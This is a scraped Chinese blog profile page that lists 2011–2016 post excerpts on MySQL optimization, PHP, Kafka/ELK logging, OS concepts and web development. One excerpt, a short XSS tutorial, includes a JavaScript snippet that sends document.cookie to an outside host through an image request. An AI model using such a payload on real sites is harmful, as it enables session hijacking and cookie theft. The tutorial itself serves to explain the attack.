自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

一边敲代码,一边思考人生...

未经考察的人生是不值得过的,过度考察的人生是没法过的。

  • 博客(26)
  • 收藏
  • 关注

原创 一次MySQL查询优化实战

在公司短信平台架构升级中,我对数据库表结构做了相应的优化调整,过程中遇到一些莫名其妙的问题:几乎完全相同的SQL语句,执行计划也完全相同,查询却有时快,有时慢;SQL语句中带LIMIT慢,不带反而快;ORDER BY id慢,ORDER BY insert_time快,在这些看似不可思议的现象背后,究竟暗藏着什么玄机?本文为你一一道来。 短信平台原先一直使用分区表存储短信相关信息,分区

2016-11-04 14:47:53 754

原创 PHP获得某天某星期某月的开始结束时间

//13点代表[13,14) from_unixtime unix_timestampdate_default_timezone_set('PRC');echo strtotime(date('Y-m-d H:00:00')); //当时之初echo strtotime(date('Y-m-d H:59:59')); //当时之末echo strtotime(dat

2016-10-20 17:12:59 2411

原创 Kafka中log4j简介

kafka的日志是使用log4j来记录的。log4j功能比较强大,配置灵活,被众多的java程序用来记录日志。log4j主要用来指明日志等级,日志输出格式,日志输出到哪里。其中,日志等级包括TRACE 日志格式[PatternLayout]说明如下:%m 输出消息内容%p 输出优先级,即DEBUG,INFO,WARN,ERROR,FATAL  %r 输出自应用启动到

2016-10-12 18:12:49 6141

原创 ELK性能优化

上一篇文章中,我把logstash和ES部署到同一台机器中,遇到的问题是,logstash进程经常不工作(cpu消耗为0),或者干脆退出,通过增加、减少logstash进程数,线程数,堆栈大小,batch_size大小,logstash都不能正常工作。通过设置ulimit -c unlimited,得到崩溃后的core文件,能看出是系统内存不够所致。后来发现kafka集群中的3台机器负

2016-10-12 18:07:30 4004 1

原创 基于Heka+Flume+Kafka+ELK的日志系统

前期准备ELK官网:https://www.elastic.co/,  软件包下载和完善的文档资料。Zookeeper官网:https://zookeeper.apache.org/Kafka官网:http://kafka.apache.org/documentation.html,软件包下载和完善的文档资料。Flume官网:https://flume.apache.org/H

2016-09-14 11:48:38 6844 2

原创 CodeIgniter框架添加service层增强可复用性

在CI框架原有MVC架构模型的基础上,添加一个service层【CI默认没有自动加载机制,通过添加自动加载机制实现】,将重要的业务逻辑放于此,增强代码的可复用性。

2016-09-14 11:13:07 2093

原创 php实现微信拼手气红包

<?php$result = sendHB(100, 10);var_export($result);echo array_sum($result);/** * 拼手气红包实现 * 生成num个随机数,每个随机数占随机数总和的比例*money_total的值即为每个红包的钱额 * 考虑到精度问题,最后重置最大的那个红包的钱额为money_total-其他红包的总额 * 浮点数比较

2015-12-30 16:41:30 4484 1

原创 HTTP接口架构升级

项目组针对影片详情页最原始的设计是使用xml静态文件的形式向IPAD终端提供数据内容(可能更多地出于性能考虑),后来又使用json静态文件给安卓终端提供数据内容(文件内容小了点,比xml进步了些),但是这样做的弊端越来越多,比如哪个终端想要有一些个性化的数据(独家内容或者是mp4视频格式),这样就不得不再为这个终端生成一批静态文件,另外还得通过rsync同步这些静态文件到前端服务器,又

2014-09-09 17:00:39 843

原创 滥用error_reporting之大坑

写了一个脚本,批量输出静态内容。按照惯例,先require配置文件、公共文件,然后编码我的业务逻辑。很顺利地写完了,调试的时候发现脚本毫无提示地异常地中断了,仔细看了一下代码,原来是一个函数未定义,但是为什么不会报错呢?我查看了php的配置display_error是打开的,而且我还设置了error_reporting(7),但是函数未定义的错误还是不会报,但如果在哪条语句后面没有加上分号却是

2014-09-05 15:23:50 1336

原创 一次mysql优化经历

某日运维突然说无线的频道页接口访问量很大,memcache缓存扛不过来,导致mysql并发查询量太大,导致服务器不停地宕机,不停地重启机器。遗憾的是运维并没有告诉mysql查询量具体有多大【无量化,比如一秒多少个查询…】。针对这个问题,有同事建议改了mysql+memcache的架构,采用redis存储更佳。但是问题的真正原因是什么呢?mysql一秒钟扛几百个并发查询应该是可以的吧?带着疑问,

2014-08-21 12:25:57 904

原创 程序的执行——从机器级别看程序的行为

相应的pdf文档

2014-06-27 17:18:08 569

原创 上半年(2014)那些事

3月份之前,带领良宜完成众多的无线后台和接口服务,自从负责无线内容后,这阶段压力还是不小。3月份之后开发工作量不大,主要是维护和升级现有后台和接口,比如自动化专题系统,优化接口等等。另外是解决编辑、测试、客户端开发的各种疑问以及一些小功能的开发工作。其余时间基本上是在学习计算机相关的知识。最近一段时间思考的各种杂碎问题比较多:这个社会是怎么运行的,计算机是怎么跑起来的,公司是怎么运作的

2014-05-29 15:34:52 725

原创 支持炒掉班车司机

在内部的bbs看到一个帖子:有个班车司机服务态度恶劣(公司请的司机,每天下班载员工回家),说话特别难听:是不是要每天送到大家手上才签字;是不是饭菜送到嘴巴里才吃;以后不签字不准坐车...接着楼下一堆回帖都支持炒了这个司机。我的第一反应是:被炒的司机失业了,必然会导致比较难找到下一份工作,一个家庭的主要生活来源可能从此被截断了,甚至很可能会产生种种家庭矛盾。如果一个人的态度经常很恶劣,我常常

2014-05-13 15:20:49 564

原创 编程语言那些事

我学习过的编程语言有c++,汇编,c,java,c#,vbscript,php,python,js,erlang,shell,cobol。都是在学校里面学的,因为没有业务的驱动,而且因为没有明确的方向性,所以好些都已经忘得差不多了。现在的工作用到的基本上就是php和js。还有2门语言是我一直想更进一步去深入的,一个是c,另一个是python,但是由于没有业务驱动,而且精力有限,所以只是激情来的时候

2013-05-26 13:52:00 722

原创 xss(跨站脚本攻击)简单示例

New Document 在文本框里面输入如下内容function test() {         var img = new Image();         img.src="http://www.caihuadadao.com?cookie="+encodeURIComponent(document.cookie);

2012-11-21 10:22:46 1686 1

原创 类似于smarty之类的模板引擎的模板引擎原型

最近有点闲,又好长时间没写什么代码了,就随便想点什么东西来写一写。按着自己的想法写了个简易版的模板引擎原型,估计smarty之类的模板引擎也是差不多这样实现。模板引擎的好处是实现业务逻辑和页面的分离,比起各种MVC的框架,模板引擎这东西实用多了。所以研究一下它的实现原理,好处还是有不少的。废话少说,直接上代码。模板引擎代码:<?phpclass Template{ private

2012-03-20 11:28:31 911

原创 操作系统那些事(二)

好久没有写blog了,原因是最近身体的种种状况和各种失常。虽然日常工作是做web开发,似乎与与此文毫无关系,但是身在曹营心在汉,出于对系统和网络的兴趣,我更愿意去搞清楚计算机是怎么运行的,网络是怎样去互联的。本文主要谈及信号,僵尸进程,阻塞,非阻塞,同步io,异步io等操作系统相关概念。一个进程正常退出或者是因某些因素异常退出时,它在用户空间的数据会被操作系统回收,但是PCB(进程

2011-10-31 15:25:13 563

原创 多用户通过ssh使用一台机器的进程模型

Linux系统支持多用户,一般是通过使用ssh协议的某终端(如putty,secureCRT)去连接。多个用户连接以后,操作系统的进程结构如下图所示:最初的时候系统中只有一个sshd在等待连接,来一个连接就fork一个sshd子进程,这个子进程再fork一个bash进程,即she

2011-07-25 10:23:44 667

原创 操作系统那些事

现代操作系统的实现是一个高度抽象的、复杂的、伟大的工程。本文主要是简单介绍操作系统里面的最重要的三个抽象概念:进程,虚拟地址空间,文件,以及他们各自涉及到的相关要点。 进程进程是对cpu的抽象,cpu是执行一条条的指令,进程被抽象为程序的执行流。 跟进程相似的一个概念是线程,其中线程可以再分为2类,一类是用户级线程,也就是posix线程(c语言里面的pthread类函数);还有

2011-06-25 15:59:00 913

原创 LAMP、Sphinx以及Ajax简介

好久没有写文章了,下面贴一段论文中的内容:1.1  Linux操作系统Linux是一款免费的操作系统,用户可以通过网络或其他途径免费获得,并可以任意修改其源代码。这是其他的操作系统所做不到的。正是由于这一点,来自全世界的无数程序员参与了Linux的修改、编写工作,程序员可以根据自己的兴趣和灵感对其进行改变。这让Linux吸收了无数程序员的精华,不断壮大。Linux系统支持多用户,多进程。多用户保证了各个用户之间的不仅能够有自己的特殊权利,有个人的隐私,还能够与其他用户共同合作,共同完成某项任务。多进程的环境

2011-05-27 10:32:00 1049

原创 让电信,网通用户都能够访问你的网站

前几天,师弟说那个酝酿了好久的微博终于上线,首先应该恭喜一下。开发过程可谓是一波三折,我参与了其中,但是没有坚持下去,我也是很无奈的,因为需要找工,实习,毕业时刻,事情诸多。但是现在问题时只有教育网用户可以访问,这是无疑的,因为现在服务器我估计是放在学校经贸学院的机房里面(我曾经捣鼓过,好像是windows server)。教育网算是一个大型局域网,电信网通用户肯定是访问不了的。另外电信,网通也算是大型局域网,他们之间的互联干线带宽是很小的,因为奥运会的原因,干线带宽也扩大了一些,但是相对整个互联网的数据量

2011-04-14 18:05:00 1704

原创 基于端口映射的nat设备

<br />怎样将多个内网ip通过一个外网ip上网,这样可以节约很多ip资源,在ipv6之前是必须的。实现方法应该有很多,下面是一种基于端口映射的方式的nat设备简单描述。<br />nat设备里面有个表,用于记录内网ip,端口以及外网ip,端口之间的映射关系,如下图<br /> <br />192.168.1.5:300<br />222.23.43.85:400<br />192.168.1.5:301<br />222.23.43.85:401<br />192.168.1.5:302<br />22

2011-04-12 20:36:00 1811

原创 mysql主从复制

mysql数据库的主从复制是通过bin日记来实现的。以下是我在linux上的实现。主机:192.168.1.2从机:192.168.1.4先分别在主机,从机创建一个数据库movie:create database movie;执行语句:GRANT all ON *.* TO [email protected] IDENTIFIED BY 'password';创建一个mysql用户,让从机可以访问该主机。修改主机的my.cnf配置文件:log-bin = /db/mysql/binlog/binlog   

2011-04-04 16:19:00 599

原创 javascript基本概念

<br />我比较不喜欢的语言,目前有2个:javascript和shell。但是没有办法啊,web开发javascript是必须的,linux系统管理,系统编程都需要掌握shell。所以生活很常都不能按着自己的意愿来,很多时候必须硬着头皮上。<br /> <br />以下总结一下javascript的基本概念。<br />一个大原则是:动态语言可以的变量使用几乎可以随心所欲,但是如果太随心所欲,一定会陷入某些陷阱中,所以使用变量前必须先声明,而且能赋初值的一定赋初值,另外,必须清楚变量的类型。<br />

2011-04-02 18:18:00 532

原创 php,mysql之时区问题

<br />Unix时间戳(Unix timestamp),或称Unix时间(Unix time)、POSIX时间(POSIX time),是一种时间表示方式,定义为从格林威治时间1970年01月01日<br />00时00分00秒起至现在的总秒数。<br /> <br />php设置时区(默认为格林尼治时区):<br />date_default_timezone_set('Asia/Shanghai');//'Asia/Shanghai' 亚洲/上海<br />date_default_timezone

2011-03-28 17:03:00 2522

原创 ubuntu下源码安装mysql5.1.50:

以下一段时mysql官方文档:shell> groupadd mysqlshell> useradd -g mysql mysqlshell> gunzip shell> cd mysql-VERSIONshell> ./configure --prefix=/usr/local/mysqlshell> makeshell> make installshell> cp support-files/my-medium.cnf /etc/my.cnfshell> cd /usr/local/mysqlshell

2011-03-26 22:27:00 2643

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除